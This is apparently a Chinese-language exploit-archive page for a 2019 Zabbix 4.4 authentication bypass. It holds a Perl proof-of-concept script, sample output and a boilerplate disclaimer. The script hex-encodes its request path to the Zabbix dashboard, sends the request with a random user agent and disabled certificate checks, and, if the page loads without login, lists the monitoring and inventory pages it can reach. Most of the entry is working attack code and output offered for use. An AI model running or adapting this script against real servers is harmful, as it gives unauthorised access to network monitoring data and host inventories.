发布 2019-10-08 漏洞条目

Zabbix 4.4 – Authentication Bypass

Exploit Source

# Exploit Title: Zabbix 4.4 - Authentication Bypass

# Date: 2019-10-06

# Exploit Author: Todor Donev

# Software Link: https://www.zabbix.com/download

# Version: Zabbix 4.4

# Tested on: Linux Apache/2 PHP/7.2

# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit

# Disclaimer:

# This or previous programs are for Educational purpose ONLY. Do not use it without permission.

# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages

# caused by direct or indirect use of the information or functionality provided by these programs.

# The author or any Internet provider bears NO responsibility for content or misuse of these programs

# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,

# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's

# responsibility.

# Use them at your own risk!

# (Dont do anything without permissions)

# # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit

# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>

# # [ Initializing the browser

# # [ >>> Referer =>

# # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1

# # [ >>> Content-Type => application/x-www-form-urlencoded

# # [ <<< Cache-Control => no-store, no-cache, must-revalidate

# # [ <<< Connection => close

# # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT

# # [ <<< Pragma => no-cache

# # [ <<< Server => nginx

# # [ <<< Vary => Accept-Encoding

# # [ <<< Content-Type => text/html; charset=UTF-8

# # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT

# # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT

# # [ <<< Client-Peer =>

# # [ <<< Client-Response-Num => 1

# # [ <<< Client-SSL-Cert-Issuer =>

# # [ <<< Client-SSL-Cert-Subject =>

# # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256

# # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL

# # [ <<< Client-SSL-Warning => Peer certificate not verified

# # [ <<< Client-Transfer-Encoding => chunked

# # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"

# # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly

# # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload

# # [ <<< Title => TARGET: Dashboard

# # [ <<< X-Content-Type-Options => nosniff

# # [ <<< X-Frame-Options => SAMEORIGIN

# # [ <<< X-Meta-Author => Zabbix SIA

# # [ <<< X-Meta-Charset => utf-8

# # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d

# # [ <<< X-Meta-Msapplication-Config => none

# # [ <<< X-Meta-Msapplication-TileColor => #d40000

# # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png

# # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1

# # [ <<< X-UA-Compatible => IE=Edge

# # [ <<< X-XSS-Protection => 1; mode=block

# # [

# # [ The target is vulnerable. Try to open these links:

# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view

# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1

# # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1

# # [ https://TARGET/zabbix/overview.php?ddreset=1

# # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1

# # [ https://TARGET/zabbix/latest.php?ddreset=1

# # [ https://TARGET/zabbix/charts.php?ddreset=1

# # [ https://TARGET/zabbix/screens.php?ddreset=1

# # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1

# # [ https://TARGET/zabbix/srv_status.php?ddreset=1

# # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1

# # [ https://TARGET/zabbix/hostinventories.php?ddreset=1

# # [ https://TARGET/zabbix/report2.php?ddreset=1

# # [ https://TARGET/zabbix/toptriggers.php?ddreset=1

# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list

# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1

#!/usr/bin/perl -w

use strict;

use HTTP::Request;

use LWP::UserAgent;

use WWW::UserAgent::Random;

use HTML::TreeBuilder;

my $host = shift || ''; # Full path url to the store

$host =~ s|/$||;

print "\033[2J"; #clear the screen

print "\033[0;0H"; #jump to 0,0

print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n";

print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";

print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);

print "[ Initializing the browser\n";

my $user_agent = rand_ua("browsers");

my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });

$browser->timeout(30);

$browser->agent($user_agent);

my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";

my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);

my $response = $browser->request($request);

print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names;

print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names;

print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');

print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');

if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){

print "[\n[ The target is vulnerable. Try to open these links:\n";

my $tree = HTML::TreeBuilder->new_from_content($response->as_string());

my @files = $tree->look_down(_tag => 'a');

for my $line (@files){

next if ($line->attr('href') =~ m/javascript/);

next if ($line->attr('href') =~ m/\#/);

next if ($line->attr('href') =~ m/http/);

print "[ ", $host."/zabbix/".$line->attr('href'), "\n";

}

} else {

print "[ Exploit failed! The target isn't vulnerable\n";

exit;

}

作者: Todor Donev
日期: 2019-10-08
类别: webapps
平台: php

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